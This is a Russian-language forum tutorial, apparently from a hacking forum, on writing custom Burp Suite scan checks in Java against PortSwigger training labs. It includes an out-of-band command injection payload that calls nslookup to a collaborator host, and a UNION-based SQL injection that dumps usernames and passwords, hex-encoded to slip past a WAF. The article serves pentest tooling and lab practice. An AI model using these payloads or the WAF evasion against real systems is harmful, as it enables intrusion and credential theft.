• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Кастомные скрипты для Burp

petrinh1988

X-pert
Эксперт
Регистрация
27.02.2024
Сообщения
243
Реакции
493
Автор petrinh1988
Источник https://xss.pro


Всем привет!

Последние обновления в Burp принесли много полезностей. В том числе возможность писать кастомные чекеры на Java. Не пугайся, если Java незнаком, от него потребуется самый минимум в виде синтаксиса. Сначала мне даже показалось, что примеры написаны на JavaScript.

1758882601581.png


Фишка в том, что не нужно создавать отдельные расширения или какую-то еще муть. Просто “на коленке” пишешь код и можешь в сканах использовать дополнительные проверки. Сам понимаешь, каким бы крутым не был Burp, он охватывает далеко не все. Или, если руками нашел что-то и нужно быстро прочекать всю карту сайта, но какой-нибудь Intruder не подходит. Короче, must have навык.

Статья построена по принципу, минимум скучной теории, максимум практики. Начнем с создания нового скрипта. Перейди на таб “Extensions” и найди вкладку “Custom scan checks”. Нажми “New”, в выпадающем меню выбери “Blank script”.

1758882632282.png


Если выбрать “From template” увидишь примеры скриптов от PortSwigger:

1758882652882.png

Active vs Passive​

Разница между активным и пассивным сканированием в том, что пассивный сканер не генерирует дополнительные запросы. Суть пассивного сканера в анализе данных, которые получают при ожидаемом использовании приложения (сайта). К пассивным сканерам можно отнести и дополнительные проверки данных полученных активным сканерам. В скриптах Burp этот принцип реализован целиком и полностью. Когда ты создашь новый сканер, в редакторе увидишь выбор типа скрипта:

1758882744868.png


Этот выбор влияет на функцию doCheck, вернее на параметры, которые передаются в функцию. Что это за функция? Это функция, к которой обращается Burp, когда доходит до твоего скрипта. Через нее твой скрипт получает все параметры. Например, при выборе пассивного сканирования, скрипт получит requestResponse, в котором будет лежать объект HTTPRequestResponse. Это основная сущность в Burp, с которой работает сама программа, расширения и скрипты. Можешь глянуть мои статьи про Burp, там есть много информации о сущности HTTPRequestResponse.

Пример пассивного скрипта​

Давай соберем скрипт, который будет чекать версии апача. Это простой пример для демонстрации, не более того.

Сначала проверь есть ли вообще ответ:

Java:
if (!requestResponse.hasResponse()) {
    return AuditResult.auditResult();
}

1758882758618.png


Из приятностей, в последней версии Burp редактор начал реагировать на действия пользователя и выдавать подсказки.

Вернемся к коду:

Java:
String serverHeader = requestResponse.response().headerValue("Server");

if (serverHeader == null || serverHeader.isEmpty()) {
    return AuditResult.auditResult();
}

Заголовки это словарь, значит ты можешь получить интересующий заголовок. Если его нет, можно выходить. Выход выполняется по возврату пустого AuditResult.auditResult().

Список уязвимых версий удобнее хранить в массиве. Чтобы избежать ошибок, все приведи к нижнему регистру.

Java:
String serverLower = serverHeader.toLowerCase();

String[] vulnVersions = new String[] {
    "apache/2.4.49",
    "apache/2.4.50",
    "apache/2.4.59",
    "apache/2.4.17"
};

Так как работа будет с массивом, удобно это сделать в цикле:

Java:
for (int i = 0; i < vulnVersions.length; i++) {
    if (serverLower.indexOf(vulnVersions[i]) != -1) { // найдено совпадение
        String issueTitle = "Vulnerable Apache version detected: " + vulnVersions[i];
        String issueDetail = "The response discloses the web server version in the 'Server' header: <b>"
                         + serverHeader
                         + "</b>. This version of Apache is associated with a known vulnerability matching signature: "
                         + vulnVersions[i] + ".";
        String remediation = "Upgrade Apache to a patched version (e.g. 2.4.51 or later). "
                          + "Alternatively, hide exact version information (ServerTokens Prod, ServerSignature Off).";
        String background = "Exposing exact server product/version helps attackers target known CVEs. "
                          + "Passive scanners can flag such disclosures for manual verification.";
        String remediationBackground = "Hide version info and keep software up-to-date. Check Apache security advisories for exact fixed versions.";

        return AuditResult.auditResult(
            AuditIssue.auditIssue(
                issueTitle,
                issueDetail,
                remediation,
                requestResponse.request().url(),
                AuditIssueSeverity.HIGH,
                AuditIssueConfidence.FIRM,
                background,
                remediationBackground,
                AuditIssueSeverity.HIGH,
                requestResponse
            )
        );
    }
}

return AuditResult.auditResult();

Если в заголовке нашлась уязвимая версия, строки собираются в переменную и добавляется потенциальная уязвимость. Обрати внимание, что для надежности, уверенности и уровня риска, используются соответствующие константы: AuditIssueSeverity.HIGH, AuditIssueConfidence.FIRM, AuditIssueSeverity.HIGH.

С первым кодом закончено, можно сохранить и закрыть окно. Дальше есть два варианта запуска проверки. Первый, это отладка. Перейди в прокси, найди подходящий запрос или запросы (желательно чтобы он возвращал ответ с уязвимостью), кликни правой кнопкой мыши и выбери “Send to Custom scan checks editor”.

1758882776901.png


Если в меню нет этого пункта, значит вы не открывали редактор скрипта. Такая непонятная особенность — пока не откроешь редактор скрипта, пункт меню не появится.

1758882786085.png


Запрос улетит в отладчик. Окно редактирования скрипта видоизменится:

1758882793285.png


В правой части появилось окно со списком запросов. Слева стала активной кнопка “Run test”. Нажми её и покликай по вкладкам, чтобы понять что к чему.

1758882807119.png


Другой способ, это создать новое сканирование. Профиль сканирования выбери кастомный. Отключи все проверки на вкладке “Built-in”, на вкладке “Custom” выбери созданный скрипт и запсти сканер.

1758882822069.png


Я собрал тестовый проект,который отдает искомый заголовок. В результате, сканер обнаружил уязвимость и добавил её в Burp:

1758882831719.png


Дальше включай фантазию. Вариантов миллионы: искать кредсы, комменты разработчиков, ссылки на уязвимые версии JS-компонентов, заголовки указывающие на уязвимости, сериализованные объекты и что угодно еще. Ниже еще поработаем с анализом запросов, а пока погнали к активному сканироанию.

Помимо того, что ты можешь написать кучу кастомных и приватных решений, ты можешь ускорять проверки при пентесте. Например, ты обнаружил, что не везде у кук стоит httpOnly и тебе нужен полный список страниц. Пишешь скрипт, отключаешь все другие проверки и оперативно получаешь нужный список. Да, пример вывосан из пальца, но главное что принцип понятен.

Активный сканер​

При активном сканировании, в функцию попадают дополнительные аргументы:

  1. http - это интерфейс для выполнения запросов. Выполнение запросов отличает активные сканеры от пассивных.
  2. insertionPoint - объект хранящий информацию о точке инъекции. Эта переменная доступна только для скриптов, которые привязаны к точкам инъекии.

Обрати внимание на поле “Check runs” — этот параметр указывает, когда должен запускаться скрипт. Для пассивного сканирования, есть два варианта:

  1. “Per request” — для каждого выполняемого запроса. Чекаем все что летит мимо нас.
  2. “Per host” — такой скрипт выполнится один раз для всего хоста.

Если твой скрипт ищет “wp-config.bak”, достаточно выполнить один запрос, а значит можешь выбрать “Per host”. Если ты ищешь какой-то особый заголовок, например указывающий на Next.js, тебе нужно анализировать каждый запрос и твой выбор “Pre request”.

1758882846770.png


Для активных скриптов, добавляется вариант “Per insertion point”. Это значит, что твой скрипт будет запускаться каждый раз, когда Burp будет чекать какую-то точку инъекции. Например, в настройках сканирования у тебя было указано “проверять параметры url”. Значит скрипт будет запущен каждый раз, когда будет проверяться очередной параметр. Если у урла 10 параметров, скрипт будет запущен 10 раз. Если таких урлов 10 и все с разными наборами параметров, скрипт запустится 100 раз.

Давай на практике, а то текстом белиберда какая-то, особенно для того кто не особо в теме. Предположим, у нас есть таргет с параметрами “param1=x&param2=y&param3=z”. Скрипт будет просто закидывать в него рандомные значения.

Java:
if (insertionPoint == null)
{
    return AuditResult.auditResult();
}

String rndstr = api().utilities().randomUtils().randomString(6);

var req2 = http.sendRequest(insertionPoint.buildHttpRequestWithPayload(ByteArray.byteArray(rndstr)));

if (req2.hasResponse()) {
    return AuditResult.auditResult();
}

return AuditResult.auditResult();

Скрипт проверяет, указана ли сканером точка инъекции. Если да, то генерируется случайная строка. Обрати внимание, что используется еще один доступный разработчику интерфейс api. Это доступ к Montoya API. Но, пока не особо понятно насколько урезан функционал апи, в сравнении с расширениями. Возможность писать скрипты добавлена недавно, поэтому документация очень скудная.

После всех приготовлений, выполняется запрос через http.sendRequest(). Выше писал, что объект http для того и передается, чтобы у тебя была возможность выполнять запросы. Но запрос нужно модифицировать. Делается это через метод buildHttpRequestWithPayload объекта insertionPoint. Фактически, объект insertionPoint это сам запрос с которым работаем, но с указанием на конкретную часть запроса, как на точку инъекции.

Мой запрос выглядит так:

Код:
GET /?param1=x&param2=y&param3=z HTTP/1.1
Host: victim.xss:3000
Connection: keep-alive

Сканер дошел до проверки параметров URL. Первым тестирует “param1”. Соответственно, в insertionPoint попадет запрос, а в его точке инъекции будету указаны все данные “param1” — позиция начала значения, позиция конца значения и название точки инъекции (например, “param1”). Это, конечно же, образное описание.

1758882859236.png


Когда ты выполняешь buildHttpRequestWithPayload, Burp просто заменяет значение определенных символов по позициям.

Код:
String replaced = text.substring(0, start + 1) + newValue + text.substring(end);

При этом, все данные хранятся в байтах, поэтому важно строку привести через ByteArray.byteArray(). Новый запрос будет выглядеть так:

Код:
GET /?param1=RnDstR&param2=y&param3=z HTTP/1.1
Host: victim.xss:3000
Connection: keep-alive

После запуска скрипта, в логе можно увидеть подобную картинку:

1758882868937.png


Как видишь, сканер прошелся по всем параметрам и попробовал подставить случайные строки. Если бы это была SQL Injection, мы бы могли пихать в каждый параметр ‘“ и ловить ошибку.

Как сканер понимает в какие точки вообще пихать инъекции? Здсь все скучно. Когда ты конфигурируешь сканер, ты сам указываешь какие типы точек инъекций тестировать:

1758882881170.png


Мой пример касается “URL parameter values”. Работали бы с куками, сканер проходился бы по всем кукам. В примере ниже есть три куки, значит сканер попытался бы в каждую из них воткнуть пэйлоад:

Код:
“Cookie: PHPSESSID=349053490589sdfsdfsl; isAdmin=false; nuAcho=nicho”

Ты моешь избегать инъекции в какие-то параметры, используя name() у insertionPoint. Можешь чекать тип точки инъекции, чтобы Burp не пихал пэйлоад везде. Если нужно сохранить базовое значение параметра, тебе доступно baseValue(). Чтобы увидеть пример работы этих методов, можешь отправку запроса в скрипте и запустить новое сканирование:

Код:
var req2 = http.sendRequest(insertionPoint.buildHttpRequestWithPayload(ByteArray.byteArray(rndstr + "|" + insertionPoint.name() + "|" + insertionPoint.baseValue() + "|" + insertionPoint.type())));

В результате, для второго параметра мы увидим его имя и базовое значение:

1758882899287.png


Хочешь добавить новую точку инъекции, которую сканер не увидел? Без проблем. У insertionPoint есть такой метод:

Код:
static AuditInsertionPoint auditInsertionPoint(String name, HttpRequest baseRequest, int startIndexInclusive, int endIndexExclusive)

То, о чем писал выше. У токи инъекции есть запрос, имя параметра, указание на начало и конец значения в запросе.

Надеюсь вопросов по точкам инъекции не осталось.

Чекер Out-Of-Band Command Injection​

Давай напишем какой-то более реальный скрипт. Для примеров буду использовать лабы академии PortSwigger. Сканеры Burp сами могут найти нужные уязвимости, но для понимания основных принципов, лабы подходят идеально.

Запусти эту лабу. Во-первых, скрипт будет иметь схожий скелет с предыдущим — мы снова работаем с параметрами, пусть и в BODY). Во-вторых, это Out-Of-Band уязвимость, а значит поработаем с коллаборатором. На сегодня, нет примеров работы с коллаборатором из скриптов, а так же этот вопрос как-то обходится стороной в документации Burp. Но от этого только интереснее, возьмем за основу примеры расширений.

Лаба решается путем добавления в параметр “email” команды вызывающей nslookup на адерс коллаборатора. Эта инъекция команды приведет к тому, что будет отправлен DNS-запрос и таким способом будет подтверждена тихая инъекция команды. В начале скрипта добавь проверки, чтобы скрипт не пахал впустую:

Java:
if (!requestResponse.hasResponse() || insertionPoint == null)
{
    return null;
}

if (!insertionPoint.type().toString().equals("PARAM_BODY") || !insertionPoint.name().equals("email")) {
    return null;
}

Когда скрипт уверен, что работает с нужной точкой инъекции, можно приступить к получению адреса коллаборатора. Я специально объявил каждую переменную отдельно, чтобы ясно было видно что откуда берется

Код:
Collaborator collab = api().collaborator();
CollaboratorClient collabClient = collab.createClient();
CollaboratorPayload collabPayload = collabClient.generatePayload();

Здесь важно не запутаться, пэйлоад, с точки зрения коллаборатора — это и есть сгенерированный поддомен коллаборатор, т.е. адрес куда улетит запрос. Можно пойти более коротким путем, используя цепочку вызовов “api().collaborator().createClient()”. Но добавлять в целопчку генерацию пэйлоада не советую, так как нам потребуется объект клиента для получения событий.

Код:
String payload = insertionPoint.baseValue() + " & nslookup x." + collabPayload.toString() + " #";

В итоговый пэйлоад, который улетит в параметре “email”, сохраняю базовое значение (например, test@mail.com) и прикручиваю инъекцию. Обрати внимание, что в строке использую спецсимволы без кодирования, так как Burp сам закодирует их. Иначе получишь двойное кодирование, которое в данном случае только мешает.

Когда пэйлоад готов, выполни запрос:

Код:
var req = http.sendRequest(insertionPoint.buildHttpRequestWithPayload(ByteArray.byteArray(payload)));

if (req.hasResponse()) {
    // Здесь будет код проверки событий коллаборатора
}

Выше, я использовал параметр запроса для логирования, но это не по феншую. Лучше использовать logging() у api(). Там целый набор методов вывода в лог. Выглядит это примерно так:

1758882916171.png


Окей. Когда запрос выполнен, тебе нужно проверить состояние коллаборатора. Для этого, нужно получить “взаимодействия”, используя метод getInteractions того самого объекта с типом CollaboratorClient. В примере скрипта, это переменная “collabClient”. Но! Для выполнения метода потребуется фильтр взаимодействий с типом “InteractionFilter”

1758882925104.png


Используя опыт в создании расширений под Montoya API я написал такой код:

Java:
    InteractionFilter filter = InteractionFilter.interactionPayloadFilter(collabPayload.toString());
    List<Interaction> interactions = collabClient.getInteractions(filter);
    
    if (interactions.isEmpty()) {
        api().logging().logToOutput("Interacions empty");
        return null;
    }

Взаимодействия можно распечатать в лог, чтобы подробнее познакомиться с тем, какая информация там храниться:

Java:
    for (Interaction i : interactions) {
        api().logging().logToOutput("=== Collaborator interaction ===");
        api().logging().logToOutput("ID: " + i.id());
        api().logging().logToOutput("Type: " + i.type().toString());
        api().logging().logToOutput("Client IP: " + i.clientIp());
        api().logging().logToOutput("Client Port: " + i.clientPort());
        api().logging().logToOutput("Timestamp: " + i.timeStamp());
    
        if (i.dnsDetails() != null) {
            api().logging().logToOutput("DNS details: " + i.dnsDetails().toString());
        }
        if (i.httpDetails() != null) {
            api().logging().logToOutput("HTTP details: " + i.httpDetails().toString());
        }
    }

В этом примере, чтобы добавить уязвимость, нет смысла чекать содержимое параметров. Достаточно видеть, что было хотя бы одно взаимодействие. Код может выглядеть примерно так:

Java:
    for (Interaction i : interactions) {
        if (i.type().toString().equals("DNS")) {
            
            // Собираем расширенное описание
            StringBuilder detail = new StringBuilder();
            detail.append("Potential <b>Command Injection detected</b>.<br>")
                  .append("<b>Parameter:</b> ").append(insertionPoint.name()).append("<br>")
                  .append("<b>Interaction ID:</b> ").append(i.id()).append("<br>")
                  .append("<b>Type:</b> ").append(i.type().toString()).append("<br>")
                  .append("<b>Client IP:</b> ").append(i.clientIp()).append("<br>")
                  .append("<b>Client Port:</b> ").append(i.clientPort()).append("<br>")
                  .append("<b>Timestamp:</b> ").append(i.timeStamp());

            if (i.dnsDetails() != null) {
                detail.append("**DNS Details:** ").append(i.dnsDetails().toString()).append("\n");
            }
           
            return AuditResult.auditResult(
                AuditIssue.auditIssue(
                        "Command Injection (via DNS)",
                        detail.toString(),
                        "Validate and sanitize user input before passing to OS commands. Prefer using safe APIs instead of invoking system commands directly.",
                        requestResponse.request().url(),
                        AuditIssueSeverity.HIGH,
                        AuditIssueConfidence.CERTAIN,
                        "",
                        "",
                        AuditIssueSeverity.HIGH,
                        req
                )
            );
            
        }
    }

Обрати внимание, для форматирования используются некоторые html-тэги. Результат работы скрипта:

1758882941538.png


Скрипт работает. Теперь ты знаешь, как прикрутить коллаборатор к своим кастомным чекерам.

Важно! Информация о взаимодействиях с коллаборатором не отображается в интерфейсе пользователя. От того, что скрипт создал пэйлоад коллаборатора и что-то там произошло, визуальных изменений не будет. Поэтому, если у тебя не вывелись в лог детали, внимательно проверяй каждый шаг работы скрипта. Если у тебя правильный пэйлоад улетел в направлении лабы и лаба еще живая, в браузере будет уведомление об успешном прохождении:

1758882962472.png


Если нет уведомления, проверяй какой пэйлоад ушел. Если уведомление есть, но скрипт не видит результатов работы коллаборатора, чекни не отрубил ли ты где-то в настройках коллаборатор.

SQLi с обходом WAF при помощи XML-кодировки​

Запусти эту лабораторную. На её примере, продемонстрирую тебе пару важных нюансов в работе Burp.

Чтобы пройти лабу, нужно поймать POST-запрос проверяющий количество продукции в определенном магазине. Подменить значение “storeId” на инъекцию подобную этой “1 UNION SELECT username || '~' || password FROM users”. Но WAF спалит открытую инъекцию, поэтому используется расширение Hackvertor, которое через “<@hex_entities>” кодирует полезную нагрузку.

Как и прежде, начни с определения условий работы скрипта. Точнее, когда скрипту стоит завершиться сразу:

Java:
if (!requestResponse.hasResponse() || insertionPoint == null) {
    return null;
}

if (!requestResponse.request().method().equalsIgnoreCase("POST")) {
    return null;
}

Выше генерация нового запроса выполнялась через подстановку в точку инъекции и код выглядел так:

Java:
String payload = "<@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities>";
HttpRequest attackReq = insertionPoint.buildHttpRequestWithPayload(ByteArray.byteArray(payload));

Но это не сработает. В процессе генерации, Burp кодирует спецсимволы и ты получишь такой результат:

1758882973922.png


Чтобы обойти проблему, тебе потребуется пересоздать запрос с использованием нового Body:

Java:
HttpRequest baseReq = requestResponse.request();
String body = baseReq.bodyToString();
String clearPayload = "1 UNION SELECT username || '~' || password FROM users";
String modifiedBody = body.replaceFirst(
    "<" + realTagName + ">.*?</" + realTagName + ">",
    "<" + realTagName + "><@hex_entities>" + clearPayload + "</@hex_entities></" + realTagName + ">"
);

ByteArray payloadBA = ByteArray.byteArray(modifiedBody);
HttpRequestResponse attackHttp = http.sendRequest(attackReq);
HttpResponse resp = attackHttp.response();

Код получает тело с помощью “baseReq.bodyToString()”. После выполняется простая замена. Здесь тебя ждет очередной сюрприз от Burp:

1758882985339.png


Запрос отправлен, но он никак не модифицирован!

Проблему увидишь, если внимательно присмотришься к именам параметров. Burp приводит имя точки инъекции к нижнему регистру:

1758882994806.png


Давай исправим это, добавив еще одну регулярку. Сначала скрипт получит имя в правильном написании, после выполнит замену.

Java:
HttpRequest baseReq = requestResponse.request();
String body = baseReq.bodyToString();

Pattern tagPattern = Pattern.compile("<(" + insertionPoint.name() + ")>", Pattern.CASE_INSENSITIVE);
Matcher tagMatcher = tagPattern.matcher(body);

if (!tagMatcher.find()) {
    return null;
}

String realTagName = tagMatcher.group(1); 
String clearPayload = "1 UNION SELECT username || '~' || password FROM users";
String modifiedBody = body.replaceFirst(
    "<" + realTagName + ">.*?</" + realTagName + ">",
    "<" + realTagName + "><@hex_entities>" + clearPayload + "</@hex_entities></" + realTagName + ">"
);

ByteArray payloadBA = ByteArray.byteArray(modifiedBody);

HttpRequest attackReq = baseReq.withBody(payloadBA);
HttpRequestResponse attackHttp = http.sendRequest(attackReq);
HttpResponse resp = attackHttp.response();

Теперь все работает как надо:

1758883003923.png


Скрипт нашел имя параметра, хаквертор кодировал пэйлоад и ты получил данные из базы. Если пэйлоад не кодировался, убедись, что хаквертор активен!

Почему хаквертор срабатывает? Я написал достаточно большое количество материалов по Burp и там этот вопрос затрагивается. Если коротко, прямо перед отправкой запросов, Burp смотрит есть ли расширения обрабатывающие запрос и передает им HTTPRequestResponse (т.е. сам запрос). Только после этого запрос улетает в пункт назначения.

Для завершения скрипта осталось написать добавление уязвимости. Маркером уязвимости будет длина ответа и отсутствия в ответе “Attack detected”. Если атакующий запрос вернул тело длиннее базового, можно считать инъекцию подтвержденной. В реальности, нужно выполнять несколько контролирующих запросов и сравнивать ответы.

Java:
if (resp == null) {
    return null;
}

int baseLength = requestResponse.response().body().length();
int attackLength = resp.body().length();
boolean attackDetected = resp.bodyToString().contains("Attack detected");

if (!attackDetected && attackLength > baseLength) {
    
    StringBuilder detail = new StringBuilder();
    
    detail.append("<b>Insertion Point Type:</b> ").append(insertionPoint.type()).append("<br>");
    detail.append("<b>Insertion Point Name:</b> ").append(insertionPoint.name()).append("<br>");
    detail.append("<b>Real Tag Name:</b> ").append(realTagName).append("<br>");
    detail.append("<b>Target URL:</b> ").append(baseReq.url()).append("<br>");
    detail.append("<b>Base Response Length:</b> ").append(baseLength).append("<br>");
    detail.append("<b>Attack Response Length:</b> ").append(attackLength).append("<br>");
    
    return AuditResult.auditResult(
                AuditIssue.auditIssue(
                        "SQL Injection",
                        detail.toString(),
                        "",
                        requestResponse.request().url(),
                        AuditIssueSeverity.HIGH,
                        AuditIssueConfidence.CERTAIN,
                        "",
                        "",
                        AuditIssueSeverity.HIGH,
                        List.of(
                            requestResponse,
                            attackHttp
                        )
                )
    );
}

api().logging().logToOutput("Sent raw XML payload without encoding");

return AuditResult.auditResult();

Вместо одного запроса, в уязвимость отдается список через “List.of”. Это нужно для того, чтобы можно было сформировать понятный вывод и наглядно продемонстрировать разницу между безопасным запросом и инъекцией.

1758883019273.png


В завершении хотел бы показать тебе, как подсветить инъекцию в запросе. Подсветка не просто красота, а способ быстрого перемещения по нужным частям запроса по клику на “highlight”. Простой вариант, это модифицировать атакующий запрос с помощью метода “withRequestMarkers(markers)”. Передаваемый список маркеров, это просто коллекция объектов, содержащая начальный и конечный индекс выделения.

По хорошему, мы должны получать список маркеров из точки инъекции “insertionPoint.issueHighlights(payload)” и преобразовать их к нужному виду. Но есть два препятствия. Во-первых, скрипт полностью переписывает тело и маркеры становятся не актуальными. Во-вторых, применяется кодирование пэйлоада, а значит меняется длина строки и конец “плывет”.

1758883026973.png


Причем, у тебя нет доступа к запросу, который ушел на сервер. Есть доступ только к запросу подготовленному к отправке, а значит сколько не ковыряйся, пэйлоад будет не кодированным.

Java:
    List<Range> ranges = insertionPoint.issueHighlights(payloadBA);
    List<Marker> markers = new ArrayList<>();
    
    for (Range r : ranges) {
        int start = r.startIndexInclusive();
        int end   = start + (clearPayload.length() * 6);
        markers.add(Marker.marker(start, end));
    }

Как видишь, я просто отталкиваюсь от начала пэйлоада и учитываю, что при кодировании один символ заменяется шестью. Есть и другие способы составить координаты, в любом случае все сводится к тому чтобы передать два инта - начало и конец.

Итоги​

Возможность писать кастомные скрипты реально крутая вещь. Можно писать довольно сложные чекеры и тут же вводить их в работу. Можно быстро экспортировать и импортировать готовые скрипты. Взял виртуалку, поставил Burp, импортнул свой набор чекеров и сканируй на здоровье. При этом, не требуется каких-то глубоких познаний в Java, нет мороки со сборкой расширения, соответственно, нет дополнительной нагрузки на память при использовании расширения.

Есть большие пробелы в документации. На момент написания статьи, догадаться как работать из скриптов с коллаборатором пришлось по аналогиям. Нигде не было даже указано, что сканер будет ожидать ответа в коллабораторе. Пришлось провести кучу тестов. Но со временем и с набором базы знаний, эта проблема решится.

В статье мы сделали несколько не очень полезных, но дающих понимание чекеров. Если тема интересна, пиши, можно взять пару-тройку разнообразных CVE и собрать боевые чекеры. Как всегда, жду вашей оценки, комментариев и мнений.

P.S.
Исходники в приложенных файлах.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх